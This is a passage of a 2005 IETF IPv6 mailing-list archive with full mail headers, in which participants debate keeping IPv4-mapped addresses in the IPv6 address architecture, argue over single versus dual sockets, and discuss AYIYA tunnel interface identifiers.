demetrius.iu-bremen.de X-Spam-Score: 0.0 (/) X-Scan-Signature: 7d33c50f3756db14428398e2bdedd581 Cc: IPv6 WG Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: j.schoenwaelder@iu-bremen.de List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 2409bba43e9c8d580670fda8b695204a On Tue, Feb 01, 2005 at 04:27:11AM -0800, Bob Hinden wrote: > My take of this is that they should remain in the IPv6 address > architecture. There is current usage and removing them would break other > specifications. So then let me add another voice for deprecation. My experience is that the precise behaviour of these mapped addresses is pretty hard to predict in practice and that makes code maintenance more costly. My observation is that mapped addresses initially look appealing, but they turn out to be problematic later and I have now given up on using them. If these addresses are kept in the document, I think there should be a clear warning attached about using them. /js -- Juergen Schoenwaelder International University Bremen P.O. Box 750 561, 28725 Bremen, Germany -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 09:23:58 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA08033 for ; Tue, 1 Feb 2005 09:23:58 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvzEs-0003Cv-Kt for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 09:42:47 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cvyu6-0000zP-4N; Tue, 01 Feb 2005 09:21:18 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cvynz-0008QH-Vs for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 09:15:00 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA05464 for ; Tue, 1 Feb 2005 09:14:53 -0500 (EST) Received: from noc.sixxs.net ([213.197.29.32] ident=postfix) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvz65-0002re-Fw for ipv6@ietf.org; Tue, 01 Feb 2005 09:33:42 -0500 Received: from localhost (localhost [127.0.0.1]) by noc.sixxs.net (Postfix) with ESMTP id 7067F2400D; Tue, 1 Feb 2005 15:14:47 +0100 (CET) Received: from noc.sixxs.net ([127.0.0.1]) by localhost (noc [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 02599-02; Tue, 1 Feb 2005 15:14:47 +0100 (CET) Received: from firenze.zurich.ibm.com (pat.zurich.ibm.com [195.176.20.45]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by noc.sixxs.net (Postfix) with ESMTP id D8F212400C; Tue, 1 Feb 2005 15:14:46 +0100 (CET) From: Jeroen Massar To: Bob Hinden In-Reply-To: <6.1.2.0.2.20050201032232.02f44e90@mailhost.iprg.nokia.com> References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> <6.1.2.0.2.20050201032232.02f44e90@mailhost.iprg.nokia.com> Organization: Unfix Date: Tue, 01 Feb 2005 15:14:45 +0100 Message-Id: <1107267285.5092.47.camel@firenze.zurich.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-6) X-Virus-Scanned: noc.sixxs.net - http://www.sixxs.net X-Spam-Score: 0.0 (/) X-Scan-Signature: 9ed51c9d1356100bce94f1ae4ec616a9 Cc: IPv6 WG Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0704815335==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: b4a0a5f5992e2a4954405484e7717d8c --===============0704815335== Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-+lQZHYSQYxG9IjXBguG+" --=-+lQZHYSQYxG9IjXBguG+ Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2005-02-01 at 04:27 -0800, Bob Hinden wrote: > Hi, >=20 > In response to my question about keeping the "IPv6 Addresses with Embedde= d=20 > IPv4 Addresses" (e.g., compatible and mapped) I heard the following: > My take of this is that they should remain in the IPv6 address=20 > architecture. There is current usage and removing them would break other= =20 > specifications. Maybe it should be at least be noted in the document that one should not use them. Thus that applications should be using multiple sockets, one for IPv4 and one for IPv6 and one for whatever follows. "forcing"/telling programmers to do it the getaddrinfo() can only be good IMHO. Also when we change to IPv7 or anything else in the future. Greets, Jeroen --=-+lQZHYSQYxG9IjXBguG+ Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) Comment: Jeroen Massar / http://unfix.org/~jeroen/ iD8DBQBB/47VKaooUjM+fCMRAtYHAKCpq6DtaqWgKtjR+ppeZN01vT/BpQCdFjo/ XbzNCV/SShsFFzxtxd+CGP0= =n/lo -----END PGP SIGNATURE----- --=-+lQZHYSQYxG9IjXBguG+-- --===============0704815335== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============0704815335==-- From ipv6-bounces@ietf.org Tue Feb 1 09:54:17 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11076 for ; Tue, 1 Feb 2005 09:54:17 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvziC-000461-Jk for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 10:13:05 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvzIf-0007AO-SP; Tue, 01 Feb 2005 09:46:41 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cvz8j-0004oU-JV for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 09:36:25 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA09326 for ; Tue, 1 Feb 2005 09:36:22 -0500 (EST) Received: from burp.tkv.asdf.org ([212.16.99.49] ident=root) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvzQp-0003be-7s for ipv6@ietf.org; Tue, 01 Feb 2005 09:55:10 -0500 Received: from burp.tkv.asdf.org (msa@localhost [127.0.0.1]) by burp.tkv.asdf.org (8.13.2/8.13.2/Debian-1) with ESMTP id j11EaIb3030363; Tue, 1 Feb 2005 16:36:18 +0200 Received: (from msa@localhost) by burp.tkv.asdf.org (8.13.2/8.13.2/Submit) id j11EaH2k030360; Tue, 1 Feb 2005 16:36:18 +0200 Date: Tue, 1 Feb 2005 16:36:18 +0200 Message-Id: <200502011436.j11EaH2k030360@burp.tkv.asdf.org> From: Markku Savela To: jeroen@unfix.org In-reply-to: <1107267285.5092.47.camel@firenze.zurich.ibm.com> (message from Jeroen Massar on Tue, 01 Feb 2005 15:14:45 +0100) References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> <6.1.2.0.2.20050201032232.02f44e90@mailhost.iprg.nokia.com> <1107267285.5092.47.camel@firenze.zurich.ibm.com> X-Spam-Score: 0.0 (/) X-Scan-Signature: 7a6398bf8aaeabc7a7bb696b6b0a2aad Cc: ipv6@ietf.org, bob.hinden@nokia.com Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 > From: Jeroen Massar > Thus that applications should be using multiple sockets, one > for IPv4 and one for IPv6 and one for whatever follows. I strongly object to this. There are other socket api's which don't have the Unix inherited drawbacks. For such, the recommendation is exactly the opposite: the same socket works just fine for IPv4 and IPv6, and in unifying the application code to work for both, IPv4 mapped address format is very useful tool. There is no reason for application to care at all whether actual connection is over IPv4 or IPv6. -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 09:58:37 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11750 for ; Tue, 1 Feb 2005 09:58:37 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvzmP-0004Ew-IW for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 10:17:25 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvzK9-0007fj-4K; Tue, 01 Feb 2005 09:48:13 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvzHe-0006uR-Fl for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 09:45:38 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA10215 for ; Tue, 1 Feb 2005 09:45:37 -0500 (EST) Received: from noc.sixxs.net ([213.197.29.32] ident=postfix) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvzZp-0003sV-AM for ipv6@ietf.org; Tue, 01 Feb 2005 10:04:25 -0500 Received: from localhost (localhost [127.0.0.1]) by noc.sixxs.net (Postfix) with ESMTP id 07F7B2400D; Tue, 1 Feb 2005 15:45:36 +0100 (CET) Received: from noc.sixxs.net ([127.0.0.1]) by localhost (noc [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 03672-05; Tue, 1 Feb 2005 15:45:36 +0100 (CET) Received: from firenze.zurich.ibm.com (pat.zurich.ibm.com [195.176.20.45]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by noc.sixxs.net (Postfix) with ESMTP id 3F5212400C; Tue, 1 Feb 2005 15:45:36 +0100 (CET) From: Jeroen Massar To: Markku Savela In-Reply-To: <200502011436.j11EaH2k030360@burp.tkv.asdf.org> References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> <6.1.2.0.2.20050201032232.02f44e90@mailhost.iprg.nokia.com> <1107267285.5092.47.camel@firenze.zurich.ibm.com> <200502011436.j11EaH2k030360@burp.tkv.asdf.org> Organization: Unfix Date: Tue, 01 Feb 2005 15:45:35 +0100 Message-Id: <1107269135.5710.8.camel@firenze.zurich.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-6) X-Virus-Scanned: noc.sixxs.net - http://www.sixxs.net X-Spam-Score: 0.0 (/) X-Scan-Signature: 0ddefe323dd869ab027dbfff7eff0465 Cc: ipv6@ietf.org, Bob Hinden Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1234205988==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: fb6060cb60c0cea16e3f7219e40a0a81 --===============1234205988== Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-Spvkiymw8LJKYONLK2o6" --=-Spvkiymw8LJKYONLK2o6 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2005-02-01 at 16:36 +0200, Markku Savela wrote: > > From: Jeroen Massar >=20 > > Thus that applications should be using multiple sockets, one > > for IPv4 and one for IPv6 and one for whatever follows. >=20 > I strongly object to this. There are other socket api's which don't > have the Unix inherited drawbacks. For such, the recommendation is > exactly the opposite: the same socket works just fine for IPv4 and > IPv6, and in unifying the application code to work for both, IPv4 > mapped address format is very useful tool. Any documentation on this ? I do know RFC3493, not any others. > There is no reason for application to care at all whether actual > connection is over IPv4 or IPv6. There is, these are different protocols, how else are you going to address which host you are going to connect to? For instance www.kame.net port 80 results in different answers over IPv6 than the one on IPv4... If you are talking about wrappers, then these are most likely wrapping around the above already anyway, thus it matter than? Greets, Jeroen --=-Spvkiymw8LJKYONLK2o6 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) Comment: Jeroen Massar / http://unfix.org/~jeroen/ iD8DBQBB/5YPKaooUjM+fCMRAtMdAKC8z5BCvDVW2/EzkkZAApIVY/lalwCdHhFc qmWHQbmLNwPnsJ2ZJA1ZAH0= =rCsg -----END PGP SIGNATURE----- --=-Spvkiymw8LJKYONLK2o6-- --===============1234205988== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============1234205988==-- From ipv6-bounces@ietf.org Tue Feb 1 10:14:50 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA13853 for ; Tue, 1 Feb 2005 10:14:50 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw026-0004df-VW for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 10:33:39 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvzeG-0005fB-EX; Tue, 01 Feb 2005 10:09:00 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvzWK-0002L1-BT for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 10:00:49 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12024 for ; Tue, 1 Feb 2005 10:00:47 -0500 (EST) Received: from hermes.iu-bremen.de ([212.201.44.23]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvzoT-0004IV-Qj for ipv6@ietf.org; Tue, 01 Feb 2005 10:19:35 -0500 Received: from localhost (demetrius.iu-bremen.de [212.201.44.32]) by hermes.iu-bremen.de (Postfix) with ESMTP id 5E27CD4E2; Tue, 1 Feb 2005 16:00:14 +0100 (CET) Received: from hermes.iu-bremen.de ([212.201.44.23]) by localhost (demetrius [212.201.44.32]) (amavisd-new, port 10024) with ESMTP id 30727-09; Tue, 1 Feb 2005 16:00:13 +0100 (CET) Received: from james (unknown [10.50.242.227]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by hermes.iu-bremen.de (Postfix) with ESMTP id 7FC3CC267; Tue, 1 Feb 2005 16:00:13 +0100 (CET) Received: from schoenw by james with local (Exim 4.34) id 1CvzVl-0001Gx-Bm; Tue, 01 Feb 2005 16:00:13 +0100 Date: Tue, 1 Feb 2005 16:00:13 +0100 From: Juergen Schoenwaelder To: Markku Savela Message-ID: <20050201150013.GB4819@james> Mail-Followup-To: Markku Savela , jeroen@unfix.org, ipv6@ietf.org, bob.hinden@nokia.com References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> <6.1.2.0.2.20050201032232.02f44e90@mailhost.iprg.nokia.com> <1107267285.5092.47.camel@firenze.zurich.ibm.com> <200502011436.j11EaH2k030360@burp.tkv.asdf.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200502011436.j11EaH2k030360@burp.tkv.asdf.org> User-Agent: Mutt/1.5.6+20040907i X-Virus-Scanned: by amavisd-new 20030616p5 at demetrius.iu-bremen.de X-Spam-Score: 0.0 (/) X-Scan-Signature: cf4fa59384e76e63313391b70cd0dd25 Cc: bob.hinden@nokia.com, ipv6@ietf.org Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: j.schoenwaelder@iu-bremen.de List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 798b2e660f1819ae38035ac1d8d5e3ab On Tue, Feb 01, 2005 at 04:36:18PM +0200, Markku Savela wrote: > I strongly object to this. There are other socket api's which don't > have the Unix inherited drawbacks. For such, the recommendation is > exactly the opposite: the same socket works just fine for IPv4 and > IPv6, and in unifying the application code to work for both, IPv4 > mapped address format is very useful tool. On those other socket APIs, does code which uses two sockets work or not? /js -- Juergen Schoenwaelder International University Bremen P.O. Box 750 561, 28725 Bremen, Germany -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 10:16:51 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA14162 for ; Tue, 1 Feb 2005 10:16:51 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw042-0004gC-GM for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 10:35:39 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cvzey-0005ze-CZ; Tue, 01 Feb 2005 10:09:44 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvzZi-0003jO-Tr for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 10:04:19 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12359 for ; Tue, 1 Feb 2005 10:04:17 -0500 (EST) Received: from castlerea.stdlib.net ([80.68.89.152] ident=mail) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvzrs-0004P6-Gm for ipv6@ietf.org; Tue, 01 Feb 2005 10:23:05 -0500 Received: from colmmacc by castlerea.stdlib.net with local (Exim 4.41) id 1CvzZZ-0006pI-SE; Tue, 01 Feb 2005 15:04:09 +0000 Date: Tue, 1 Feb 2005 15:04:09 +0000 From: Colm MacCarthaigh To: Markku Savela Message-ID: <20050201150409.GA26076@castlerea.stdlib.net.> References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> <6.1.2.0.2.20050201032232.02f44e90@mailhost.iprg.nokia.com> <1107267285.5092.47.camel@firenze.zurich.ibm.com> <200502011436.j11EaH2k030360@burp.tkv.asdf.org> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline In-Reply-To: <200502011436.j11EaH2k030360@burp.tkv.asdf.org> User-Agent: Mutt/1.3.28i X-Spam-Score: 1.3 (+) X-Scan-Signature: 08170828343bcf1325e4a0fb4584481c Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by ietf.org id KAA12359 Cc: bob.hinden@nokia.com, ipv6@ietf.org Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: colm@stdlib.net List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 1.3 (+) X-Scan-Signature: 798b2e660f1819ae38035ac1d8d5e3ab Content-Transfer-Encoding: quoted-printable On Tue, Feb 01, 2005 at 04:36:18PM +0200, Markku Savela wrote: > There is no reason for application to care at all whether actual > connection is over IPv4 or IPv6. There are plenty of reasons. Logging, resolving addresses, applying application-level access control, application-level virtual hosting, to name but a few.=20 But ignoring this, there are platforms on which IPv4-mapped addresses will never work. So far it looks like there is a serious consolidation towards there being no platforms on which both IPv4-only and IPv6-only sockets won't work. --=20 Colm MacC=E1rthaigh Public Key: colm+pgp@stdlib.ne= t -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 10:30:54 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16366 for ; Tue, 1 Feb 2005 10:30:54 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw0Hd-00053F-9Z for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 10:49:43 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cvzom-00027z-45; Tue, 01 Feb 2005 10:19:52 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvziF-0007Qz-Qc for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 10:13:07 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA13550 for ; Tue, 1 Feb 2005 10:13:03 -0500 (EST) Received: from noc.sixxs.net ([213.197.29.32] ident=postfix) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw00M-0004ao-Jm for ipv6@ietf.org; Tue, 01 Feb 2005 10:31:52 -0500 Received: from localhost (localhost [127.0.0.1]) by noc.sixxs.net (Postfix) with ESMTP id EC5AA2400C; Tue, 1 Feb 2005 16:13:01 +0100 (CET) Received: from noc.sixxs.net ([127.0.0.1]) by localhost (noc [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 04607-08; Tue, 1 Feb 2005 16:12:57 +0100 (CET) Received: from firenze.zurich.ibm.com (pat.zurich.ibm.com [195.176.20.45]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by noc.sixxs.net (Postfix) with ESMTP id E6F1D24029; Tue, 1 Feb 2005 16:11:32 +0100 (CET) From: Jeroen Massar To: colm@stdlib.net In-Reply-To: <20050131215437.GA15925@castlerea.stdlib.net.> References: <1107190470.27827.134.camel@firenze.zurich.ibm.com> <20050131173449.GA13213@castlerea.stdlib.net.> <1107195262.27827.153.camel@firenze.zurich.ibm.com> <20050131215437.GA15925@castlerea.stdlib.net.> Organization: Unfix Date: Tue, 01 Feb 2005 16:11:21 +0100 Message-Id: <1107270681.5710.26.camel@firenze.zurich.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-6) X-Virus-Scanned: noc.sixxs.net - http://www.sixxs.net X-Spam-Score: 0.0 (/) X-Scan-Signature: 4b800b1eab964a31702fa68f1ff0e955 Cc: ipv6@ietf.org Subject: Re: AYIYA link local address X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0259772747==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: b5d20af10c334b36874c0264b10f59f1 --===============0259772747== Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-6i7D0BNtYmilMzkx9w3y" --=-6i7D0BNtYmilMzkx9w3y Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Mon, 2005-01-31 at 21:54 +0000, Colm MacCarthaigh wrote: > On Mon, Jan 31, 2005 at 07:14:22PM +0100, Jeroen Massar wrote: > > Correct, but what if you don't know the IPv4 address? Which I don't kno= w > > in my case. The global IPv6 address is unique and won't change/is > > stable, which is mentioned in 2373 to be one of the things one should > > use. >=20 > In order to construct a stable tunnel, there has to be *some* kind of > stable endpoint identifier ;) In the case of ayiya, this seems to be a > complex combination of source address and the optional "identity" field, > which varies between 0 and 256 bytes in size :/ Indeed between 0 and 256. In general though the identity will match the IPv6 address of the tunnel endpoint when doing 6-in-*, which is why I picked the IPv6 address. > > > for example. This kind of approach seems much more inline with the id= ea > > > behind link-local addresses (at least to me anyway). For 6-over-6 > > > ayiya, I'd just use ::1, ::2 and so on, but that's me. > >=20 > > That indeed works, but then one has fe80::1, say a hundred times on the > > same machine, which is for debugging purposes also not very handy. >=20 > Maybe in the case of ayiya best practise would be to advise such > operators to use identities that can double up as interface identifiers > (a 32-bit integer will happily suffice) ? Indeed, this is what I am doing now in the AICCU code and in the serverside stuff by using the IPv6 address. Unique bit is cleared so it should be according to the RFC. RFC2373 mentions btw: 8<------------------------- The link-unique interface identifier should be generated in a manner that it does not change after a reboot of a node or if interfaces are added or deleted from the node. -------------------------->8 Many tunneling implementations, proto-41 tunnels on Linux/BSD etc use the IPv4 address of the local side as the Interface Identifier, which does change when the source address changes. Is this to be considered correct or can this be seen that one gets a new 'link' between the two endpoints? Greets, Jeroen --=-6i7D0BNtYmilMzkx9w3y Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) Comment: Jeroen Massar / http://unfix.org/~jeroen/ iD8DBQBB/5wZKaooUjM+fCMRAvqxAJ9wxq5qBQTOeopdwAOp1xhurjadrwCgqT9a BYnRp82Uhq1GKAtjusWVF6g= =d6cK -----END PGP SIGNATURE----- --=-6i7D0BNtYmilMzkx9w3y-- --===============0259772747== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============0259772747==-- From ipv6-bounces@ietf.org Tue Feb 1 10:31:51 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16561 for ; Tue, 1 Feb 2005 10:31:51 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw0IZ-000555-Cu for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 10:50:40 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cvzpd-0002P3-1w; Tue, 01 Feb 2005 10:20:45 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cvzj7-0007oS-L9 for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 10:14:01 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA13663 for ; Tue, 1 Feb 2005 10:14:00 -0500 (EST) Received: from mailhub.lss.emc.com ([168.159.2.31]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cw01H-0004c0-OE for ipv6@ietf.org; Tue, 01 Feb 2005 10:32:49 -0500 Received: from mercury.eng.emc.com (mercury.eng.emc.com [168.159.100.12]) by mailhub.lss.emc.com (Switch-3.1.6/Switch-3.1.6) with ESMTP id j11FDiAw024243; Tue, 1 Feb 2005 10:13:46 -0500 (EST) Received: by mercury.eng.emc.com with Internet Mail Service (5.5.2656.59) id ; Tue, 1 Feb 2005 10:13:45 -0500 Message-ID: <759A0BEC1CF75A43B72C9E94ACB19BEC6B9356@srgriese-bkp.lss.emc.com> From: "sasson, shuki" To: Jeroen Massar , Markku Savela Date: Tue, 1 Feb 2005 10:13:44 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2656.59) Content-Type: text/plain X-PMX-Version: 4.6.1.107272, Antispam-Core: 4.6.1.106808, Antispam-Data: 2005.2.1.3 X-PerlMx-Spam: Gauge=, SPAM=7%, Report=Rule X-Spam-Score: 0.0 